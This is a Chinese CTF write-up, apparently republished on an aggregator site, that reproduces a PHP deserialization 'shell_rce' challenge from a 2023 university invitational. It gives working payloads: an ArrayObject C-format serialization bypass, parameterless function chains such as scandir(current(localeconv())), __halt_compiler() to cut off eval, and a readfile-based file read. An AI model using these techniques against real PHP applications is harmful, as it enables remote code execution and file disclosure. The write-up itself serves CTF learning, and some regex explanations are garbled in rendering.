湖农大邀请赛shell_rce漏洞复现

湖农大邀请赛 shell_rce 复现

在 2023 年湖南农业大学邀请赛的线上初赛中,有一道 shell_rce 题,本文将复现该题。

题目内容,打开即是代码:

<?phpclass shell{public $exp;public function __destruct(){$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);$code = substr($str , 0, 1);if(preg_match("/^[$code]+$/",$str)){eval($this->exp." hello world!"); }}
}if(!isset($_GET['exp'])){highlight_file(__FILE__);
}if(!preg_match('/^[Oa]|get/i',$_GET['exp'])){unserialize($_GET['exp']);
}

注意到在反序列化之前先进行了一个判断

preg_match('/^[Oa]|get/i',$_GET['exp'])

这段代码使用 PHP 的 preg_match 函数对 $_GET[‘exp’] 变量进行正则表达式匹配。具体而言,该正则表达式为 “1|get”,其解释如下:

  • ^ 表示匹配字符串的开头
  • [Oa] 表示匹配 O 或 a 这两个字符中的任意一个
  • | 表示逻辑或,即要么匹配开头的 O 或 a,要么匹配 get
  • i 表示不区分大小写

因此,该正则表达式可以匹配的字符串包括:

  • 以 O 或 a 开头的任意字符串
  • 包含 get 的任意字符串,不区分大小写

在本代码中,若 $_GET[‘exp’] 变量与上述正则表达式匹配成功,则返回 true,否则返回 false。

如此一来,常见的序列化字符串和数组绕过的方法都不管用了。

C 开头的绕过

推荐博客:

https://fushuling.com/index.php/2023/03/11/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%ADwakeup%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/

这里只用 ArrayObject() 函数做演示,具体操作如下:

$exp = new shell();
$arr = array("exp"=>$exp);
$ao = new ArrayObject($arr);
echo serialize($ao);

这段 PHP 代码的作用如下:

  1. 创建一个名为 $exp 的对象,该对象是 shell 类的一个实例。

  2. 创建一个名为 $arr 的数组,其中只有一个元素,即键名为 “exp”,键值为 $exp。

  3. 使用 PHP 内置函数 ArrayObject 对 $arr 进行实例化,获得一个名为 $ao 的 ArrayObject 对象。

  4. 调用 PHP 内置函数 serialize 将 $ao 序列化,即将其转换成可以存储或传输的字符串形式,输出结果到页面上。

通过以上操作,即可将序列化字符串变成以 C 开头的形式,绕过第一个检测。

输出结果:

C:11:"ArrayObject":59:{x:i:0;a:1:{s:3:"exp";O:5:"shell":1:{s:3:"exp";N;}};m:a:0:{}}

无参函数 RCE

在 shell 类的 __destruct 方法中,有这样的过滤机制:

$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);

会将该类中的属性 exp 作一个过滤

该段代码使用 PHP 的 preg_replace 函数对 $this->exp 字符串进行正则表达式替换。具体而言,该正则表达式为 “[^\W]+\((?R)?\)”,其解释如下:

  • [^\W]+ 表示匹配一个或多个非特殊字符(即字母或数字),这里的 ^\W 表示取反后表示非特殊字符
  • ( 表示匹配左括号
  • (?R) 表示匹配一个递归到起始符号(即 “(?R)”)的表达式,即匹配一个嵌套的模式。所以该正则表达式能够处理有括号嵌套的情况
  • ) 表示匹配右括号

因此,该正则表达式可以匹配的字符串为类似于 " functionName(args) " 这样的字符串,并且支持函数嵌套,例如:functionName1(functionName2()) 。其实际含义是匹配一个函数名后紧跟着一对括号,其中可以有递归式的参数列表。

当匹配到这种无参函数格式的字符串时,就会将其替换为空。

使用无参函数的话,所有的值都会被替换为空。假设函数有参,那么参数部分将会被保留,但是这样的话就无法通过后面的过滤了,具体为什么后面会讲。

因此,在 C 绕过的基础上,可以构造如下的 payload :

$exp->exp = "var_dump(scandir(current(localeconv())));"

这个 PHP 嵌套函数的作用如下:

  1. localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。

  2. current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。

  3. scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".") 表示获取当前目录下的文件列表。

因此,该代码的作用是获取当前地区的第一个格式化参数(通常是小数点符号),然后将该参数作为路径传递给 scandir() 函数,从而获取该路径下的文件和文件夹列表。最终,使用 var_dump() 函数将该列表输出到页面上,以便查看它们的详细信息。

因为 eval 函数的参数结尾必须要带分号,所以该字符串的末尾添加了分号,如此一来,str 字符串就只是一个分号了

__halt_compiler() 中断 eval() 函数的执行

在无参函数绕过之后,又进行了一次过滤:

$str = preg_replace('/[^\W]+\((?R)?\)/', '', $this->exp);
$code = substr($str , 0, 1);
if(preg_match("/^[$code]+$/",$str))
{eval($this->exp." hello world!"); 
}

这段 PHP 代码的作用如下:

  1. 使用 substr 函数从字符串 $str 中取出第一个字符,并将其赋值给变量 $code。

  2. 使用正则表达式 “/^[$code]+$/” 对字符串 s t r 进行匹配。其中, " ‘ [ str 进行匹配。其中,"`^[ str进行匹配。其中,"[code]+`" 匹配以 $code 中的字符开头,并且由 c o d e 中的字符组成的任何长度的字符串, " code 中的字符组成的任何长度的字符串," code中的字符组成的任何长度的字符串,"" 表示匹配到字符串结尾。总的来说,该正则表达式表示 $str 只包含 $code 中的字符。

  3. 如果匹配成功,即 $str 只包含 $code 中的字符,那么执行 eval 函数,将 $this->exp 和字符串 “hello world!” 连接在一起作为 PHP 代码执行。eval 函数可以将字符串作为 PHP 代码执行,因此这里相当于在执行 $this->exp 和 “hello world!” 的拼接结果。如果 $this->exp 中含有函数调用等需要被执行的代码,则会在这里被执行。

  4. 如果正则表达式匹配失败,即 $str 中含有 $code 中未包含的字符,则不执行 eval 函数。

已知 str 只是一个分号,那么 code 就也是一个分号,这样就能通过后面的过滤了。假如 str 不是只有分号的话,这里就过不去,所以上面要用无参函数。

到这里我们知道,$this->exp 字符串中有且只能有无参函数和分号,有多少个都可以,怎么排列都可以,但是不能有其他的东西。

但是问题来了:

eval($this->exp." hello world!"); 

这段代码做一个字符串拼接,导致 eval 函数无法正常执行,当时想了好久,知道赛后放 wp 才知道,__halt_compiler() 函数可以中断 eval() 的执行,这是连 exit() 都做不到的事。比如说:

eval(a();__halt_compiler(); hello world!)

那么 eval 函数执行完 a() 函数后,执行到 __halt_compiler() 函数时就会中断,不再执行后面的代码,也不会因为后面的代码不符合规范而报错。

据此,构造最终的 payload :

$exp = new shell();
$exp->exp = "var_dump(scandir(current(localeconv())));__halt_compiler();";
$arr = array("exp"=>$exp);
$ao = new ArrayObject($arr);
echo serialize($ao);

本地成功输出:

在这里插入图片描述

想要读取文件的话,修改 $exp->exp 的值就可以了。

官方的 wp 中使用 array_rand() 随机获取当前目录下的文件内容。

官方 wp :

var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

array_flip() 反转数组中的键值对,即将数组中的每个值作为键,原来的键作为新的值。

array_rand() 随机获取反转后的数组中的一个键,即获取当前文件夹下随机一个文件或文件夹的名称。

输出结果:

在这里插入图片描述
在上面查看查看当前目录下文件时,返回的数组中还有 “.” 和 “…” 两个值,所以上面的 payload 可能会不成功,需要多试几次。


  1. Oa ↩︎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/277776.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue文件下载请求blob文件流token失效的问题

页面停留很久token失效没有刷新页面&#xff0c;这时候点击下载依然可以导出文件&#xff0c;但是文件打不开且接口实际上返回的是401&#xff0c;这是因为文件下载的方式通过window创建a标签的形式打开的&#xff0c;并没有判断token失效问题 const res await this.$axios.…

python基本数据类型(一)-字符串

1.字符串 字符串就是一系列字符&#xff0c;在Python中&#xff0c;用引号括起的都是字符串&#xff0c;其中的引号可以是单引号&#xff0c;也可以是双引号&#xff0c;如下所示&#xff1a; "This is a string." This is also a string.这种灵活性让你能够在字符…

【Idea】SpringBoot项目中,jar包引用冲突异常的排查 / SM2算法中使用bcprov-jdk15to18的报错冲突问题

问题描述以及解决方法&#xff1a; 项目中使用了bcprov-jdk15to18 pom依赖&#xff0c;但是发现代码中引入的版本不正确。 追溯代码发现版本引入的是bcprov-jdk15on&#xff0c;而不是bcprov-jdk15to18&#xff0c;但是我找了半天pom依赖也没有发现有引入bcprov-jdk15on依赖。…

uniapp框架——初始化vue3项目(搭建ai项目第一步)

文章目录 ⭐前言&#x1f496; 小程序系列文章 ⭐uniapp创建项目&#x1f496; 初始化项目&#x1f496; uni实例生命周期&#x1f496; 组件生命周期&#x1f496; 页面调用&#x1f496; 页面通讯&#x1f496; 路由 ⭐搭建首页⭐form表单校验页面⭐总结⭐结束 ⭐前言 大家好…

17--异常处理

1、异常概述 1.1 什么是异常 异常&#xff1a;指的是程序在执行过程中&#xff0c;出现的非正常情况&#xff0c;如果不处理最终会导致JVM的非正常停止。 异常指的并不是语法错误和逻辑错误。语法错了&#xff0c;编译不通过&#xff0c;不会产生字节码文件&#xff0c;根本运…

el-badge 实现数据为0的时候不显示红点

前言 el-badge 是elementui的组件&#xff0c;通过一定的偏移量进行显示数字 使用 <el-badge :value"noticesNum" :max"99"><span class"header-notice-icon"><IconifyIconOffline :icon"Bell" /></span>&l…

Java判断字符串是不是数字

描述&#xff1a;通过Java判断一个字符串&#xff0c;是不是数字。这里包括正数、负数、浮点数、科学计数法 代码&#xff1a; import java.util.regex.Pattern;public class Test {public static void main(String[] args) {System.out.println(isNumeric("12.23")…

RocketMQ —消费重试

消费者出现异常&#xff0c;消费某条消息失败时&#xff0c; Apache RocketMQ 会根据消费重试策略重新投递该消息进行故障恢复。本文介绍消费重试机制的原理、版本兼容性和使用建议。 一、应用场景​ Apache RocketMQ 的消费重试主要解决的是业务处理逻辑失败导致的消费完整性…

记录 | mac安装node

第一种方法(下载官网对应 node 版本的 .pkg文件) 访问nodejs官网&#xff08;Node.js 中文网&#xff09;选择合适的版本 双击刚下载的 .pkg 文件&#xff0c;进行安装 安装完成后检查 node 和 npm 的版本 node -v npm -v第二种方法,是使用 Homebrew 使用命令安装 //默认安…

【Oracle】创建表

目录 方法一&#xff1a;CREATE TABLE 语法 创建表示例1&#xff1a;创建stuinfo(学生信息表) 创建表示例2&#xff1a;添加stuinfo(学生信息表)约束 方法二&#xff1a;CREATE TABLE AS 语法 创建表示例3&#xff1a; 创建表示例4&#xff1a;实现对select查询的结果进行…

Impala4.x源码阅读笔记(一)——HdfsTextScanner解析

前言 本文为笔者个人阅读Apache Impala源码时的笔记&#xff0c;仅代表我个人对代码的理解&#xff0c;个人水平有限&#xff0c;文章可能存在理解错误、遗漏或者过时之处。如果有任何错误或者有更好的见解&#xff0c;欢迎指正。 在文章Impala3.4源码阅读笔记&#xff08;七…

Java中常见需要重写equals方法的类

目录 导言 一、自定义类 二、集合类 三、字符串类 四、数组类 五、枚举类 结论 导言 在Java编程中&#xff0c;equals方法是用来比较两个对象是否相等的关键方法之一。然而&#xff0c;在某些情况下&#xff0c;Java提供的默认equals方法可能无法满足我们的需求。因此&a…